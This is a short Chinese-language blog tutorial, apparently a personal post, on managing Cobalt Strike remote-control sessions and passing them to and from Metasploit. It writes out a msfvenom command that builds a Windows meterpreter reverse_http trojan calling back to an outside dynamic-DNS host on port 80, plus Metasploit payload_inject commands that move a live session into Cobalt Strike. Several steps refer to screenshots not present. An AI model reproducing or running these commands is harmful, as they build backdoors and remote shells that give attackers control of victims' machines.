【远控使用】Cobalt Strike会话管理

会话管理

1、派生会话

直接打开两个teamserver，然后进行派生，或者自身增加会话

将会话派生到msf中，老版本的方法很简单，新版本去掉了reverse_tcp，演示一下。

接着

msf在监听就可以拿到会话

2、msf生成木马与cobalt strike会话

首先，生成一个反弹http协议的shell

msfvenom -p windows/meterpreter/reverse_http LHOST=ad39402345.wicp.vip LPORT=80 -f exe > cs.exe

cs监听这样设置

3、msf会话派生到cs中

这里使用payload_inject模块，会话会弹到cs中

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 80
run

我的个人博客

孤桜懶契：http://gylq.gitee.io